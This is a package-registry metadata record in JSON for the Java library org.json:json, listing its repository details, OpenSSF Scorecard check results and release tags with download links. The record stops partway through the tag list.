{"id":4941063,"name":"org.json:json","ecosystem":"maven","description":"JSON is a light-weight, language independent, data interchange format.\n See http://www.JSON.org/\n\n The files in this package implement JSON encoders/decoders in Java.\n It also includes the capability to convert between JSON and XML, HTTP\n headers, Cookies, and CDL.\n\n This is a reference implementation. There are a large number of JSON packages\n in Java. Perhaps someday the Java community will standardize on one. Until\n then, choose carefully.","homepage":"https://github.com/douglascrockford/JSON-java","licenses":"Public Domain","normalized_licenses":["Unlicense"],"license_expression":"Unlicense","repository_url":"https://github.com/douglascrockford/JSON-java","keywords_array":[],"namespace":"org.json","versions_count":34,"first_release_published_at":"2007-11-12T07:26:48.000000Z","latest_release_published_at":"2026-08-15T02:21:20.000000Z","latest_release_number":"20260814","latest_published_release_number":"20260814","last_synced_at":"2026-12-04T13:31:05.953512Z","created_at":"2022-07-27T04:25:30.944964Z","updated_at":"2026-12-05T00:26:54.983197Z","registry_url":"https://central.sonatype.com/artifact/org.json/json/","install_command":null,"documentation_url":"https://appdoc.app/artifact/org.json/json/","metadata":{"distribution_repositories":["https://oss.sonatype.org/service/local/staging/deploy/maven2/","https://oss.sonatype.org/content/repositories/snapshots"]},"repo_metadata":{"id":1249305,"uuid":"1187853","full_name":"stleary/JSON-java","owner":"stleary","description":"A reference implementation of a JSON package in Java.","archived":false,"fork":false,"pushed_at":"2026-10-31T13:34:33.000Z","size":3407,"stargazers_count":4728,"open_issues_count":20,"forks_count":2693,"subscribers_count":229,"default_branch":"master","last_synced_at":"2026-11-20T04:19:41.699Z","etag":null,"topics":["hacktoberfest","java","json","public-domain"],"latest_commit_sha":null,"homepage":"http://stleary.github.io/JSON-java/index.html","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/stleary.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"docs/SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2010-12-21T17:46:09.000Z","updated_at":"2026-11-19T18:35:54.000Z","dependencies_parsed_at":"2026-11-02T04:30:09.743Z","dependency_job_id":null,"html_url":"https://github.com/stleary/JSON-java","commit_stats":{"total_commits":960,"total_committers":112,"mean_commits":8.571428571428571,"dds":0.659375,"last_synced_commit":"14f71274f79ac50afb316845539f4195facc33ee"},"previous_names":["douglascrockford/json-java"],"tags_count":28,"template":false,"template_full_name":null,"purl":"pkg:github/stleary/JSON-java","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/stleary","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/sbom","scorecard":{"id":353636,"data":{"date":"2025-08-11","repo":{"name":"github.com/stleary/JSON-java","commit":"78137d389de748a8794406f06251c0bea89c8243"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7,"checks":[{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:17","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:18","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/pipeline.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Code-Review","score":9,"reason":"Found 11/12 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 7 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:81: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:121: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:144: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:146: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:163: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:177: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:192: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:211: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pipeline.yml:225: update your workflow using https://app.stepsecurity.io/secureworkflow/stleary/JSON-java/pipeline.yml/master?enable=pin","Info:   0 out of  26 GitHub-owned GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Binary-Artifacts","score":9,"reason":"binaries present in source code","details":["Warn: binary detected: gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20240205 not signed: https://api.github.com/repos/stleary/JSON-java/releases/140017765","Warn: release artifact 20240205 does not have provenance: https://api.github.com/repos/stleary/JSON-java/releases/140017765"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T08:57:47.215Z","repository_id":1249305,"created_at":"2025-08-18T08:57:47.216Z","updated_at":"2025-08-18T08:57:47.216Z"},"funding_links":[],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":349647599,"owners_count":38654625,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"online","status_checked_at":"2026-11-20T02:00:07.266Z","response_time":109,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"stleary","name":"Sean Leary","uuid":"5107558","kind":"user","description":"","email":"","website":"http://www.johnjleary.com","location":"United States","twitter":null,"company":"Prime Therapeutics","icon_url":"https://avatars.githubusercontent.com/u/5107558?u=fbfe657488541faf7a084c543be5a907e50f1afe\u0026v=4","repositories_count":34,"last_synced_at":"2026-11-17T12:12:13.093Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/stleary","funding_links":[],"total_stars":4796,"followers":235,"following":1,"created_at":"2022-11-02T23:43:54.214Z","updated_at":"2026-11-17T12:12:13.111Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/stleary","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/stleary/repositories"},"tags":[{"name":"20260814","sha":"6c140480797ad70a41df84bc8ebab405ca44656b","kind":"commit","published_at":"2026-08-14T16:09:30.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20260814","html_url":"https://github.com/stleary/JSON-java/releases/tag/20260814","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20260814","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20260814","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20260814/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20260814"},{"name":"20260719","sha":"1795e8cf26229229e7ab6fe4aeab0f51ffecda5a","kind":"commit","published_at":"2026-07-19T19:04:18.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20260719","html_url":"https://github.com/stleary/JSON-java/releases/tag/20260719","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20260719","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20260719","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20260719/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20260719"},{"name":"20260522","sha":"968a592260c49151dd0bf79903a7986da64c63cd","kind":"commit","published_at":"2026-05-22T17:57:40.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20260522","html_url":"https://github.com/stleary/JSON-java/releases/tag/20260522","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20260522","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20260522","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20260522/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20260522"},{"name":"20251224","sha":"cf653682be81e5ff630c8ac5527a5060b9a813e8","kind":"commit","published_at":"2025-12-24T15:16:47.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20251224","html_url":"https://github.com/stleary/JSON-java/releases/tag/20251224","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20251224","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20251224","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20251224/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20251224"},{"name":"20250517","sha":"24fafcffebf2f217fe7aa2d60438019893a0a509","kind":"commit","published_at":"2025-05-17T12:44:38.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20250517","html_url":"https://github.com/stleary/JSON-java/releases/tag/20250517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20250517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20250517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20250517/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20250517"},{"name":"20250107","sha":"324090a87609d0abfa100f8e1cd5c4dfa97c2ba3","kind":"commit","published_at":"2025-01-07T21:24:21.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20250107","html_url":"https://github.com/stleary/JSON-java/releases/tag/20250107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20250107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20250107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20250107/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20250107"},{"name":"20241224","sha":"0e60592bdb024978be2b4ab39d22045192ea80af","kind":"commit","published_at":"2024-12-24T14:27:15.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20241224","html_url":"https://github.com/stleary/JSON-java/releases/tag/20241224","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20241224","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20241224","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20241224/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20241224"},{"name":"20240303","sha":"f9b5587c87aaf02e4a5ed1991d48d6c05993624a","kind":"commit","published_at":"2024-03-03T14:55:13.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20240303","html_url":"https://github.com/stleary/JSON-java/releases/tag/20240303","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20240303","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20240303","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20240303/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20240303"},{"name":"20240205","sha":"010e83b925642a654bd02a90fdddc26222e425f0","kind":"commit","published_at":"2024-02-06T02:44:18.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20240205","html_url":"https://github.com/stleary/JSON-java/releases/tag/20240205","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20240205","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20240205","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20240205/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20240205"},{"name":"20231013","sha":"f346203cd663bb680cad0d5894e7c147e36f31cd","kind":"commit","published_at":"2023-10-13T21:10:17.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20231013","html_url":"https://github.com/stleary/JSON-java/releases/tag/20231013","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20231013","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20231013","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20231013/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20231013"},{"name":"20230618","sha":"a963115ac2527dee688f54f7c1150d6f25b887c1","kind":"commit","published_at":"2023-06-18T17:58:32.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20230618","html_url":"https://github.com/stleary/JSON-java/releases/tag/20230618","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20230618","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20230618","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20230618/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20230618"},{"name":"20230227","sha":"47fb49b6a871cd1652870e33e89cbff082bb0ee1","kind":"commit","published_at":"2023-02-27T13:21:11.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20230227","html_url":"https://github.com/stleary/JSON-java/releases/tag/20230227","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20230227","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20230227","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20230227/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20230227"},{"name":"20220924","sha":"8439039da75eb539efb21a04442cfa8330740bda","kind":"commit","published_at":"2022-09-24T21:25:18.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20220924","html_url":"https://github.com/stleary/JSON-java/releases/tag/20220924","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20220924","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20220924","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20220924/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20220924"},{"name":"20220320","sha":"c0a1d5f741154948e9201e99876bb4bb131110b5","kind":"commit","published_at":"2022-03-20T14:28:19.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20220320","html_url":"https://github.com/stleary/JSON-java/releases/tag/20220320","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20220320","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20220320","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20220320/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20220320"},{"name":"20211205","sha":"8ef8e1463d92f8d164b4cd629b67dd55a5198597","kind":"commit","published_at":"2021-12-05T15:12:55.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20211205","html_url":"https://github.com/stleary/JSON-java/releases/tag/20211205","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20211205","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20211205","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20211205/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20211205"},{"name":"20210307","sha":"7299b201f4f49e5894800a4e98caf983deada869","kind":"commit","published_at":"2021-03-08T03:11:48.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20210307","html_url":"https://github.com/stleary/JSON-java/releases/tag/20210307","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20210307","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20210307","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20210307/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20210307"},{"name":"20201115","sha":"fdde43cd3bfede55095bdb3dfcac4ce36d99e456","kind":"commit","published_at":"2020-11-15T18:48:51.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20201115","html_url":"https://github.com/stleary/JSON-java/releases/tag/20201115","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20201115","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20201115","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20201115/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20201115"},{"name":"20200518","sha":"8e5b516f2bab9b81098ef57a7e84076c28441428","kind":"commit","published_at":"2020-05-18T03:41:27.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20200518","html_url":"https://github.com/stleary/JSON-java/releases/tag/20200518","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20200518","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20200518","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20200518/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20200518"},{"name":"20190722","sha":"5b845f28cfdc26919b1416ec2067da4a0753aeb6","kind":"commit","published_at":"2019-05-09T01:27:25.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20190722","html_url":"https://github.com/stleary/JSON-java/releases/tag/20190722","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20190722","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20190722","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20190722/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/releases/20190722"},{"name":"20180813","sha":"37f5bf28e96d9dee03a4b97728cc2976f9c248c7","kind":"commit","published_at":"2018-08-14T01:46:20.000Z","download_url":"https://codeload.github.com/stleary/JSON-java/tar.gz/20180813","html_url":"https://github.com/stleary/JSON-java/releases/tag/20180813","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/stleary/JSON-java@20180813","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/stleary%2FJSON-java/tags/20180813","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/reposit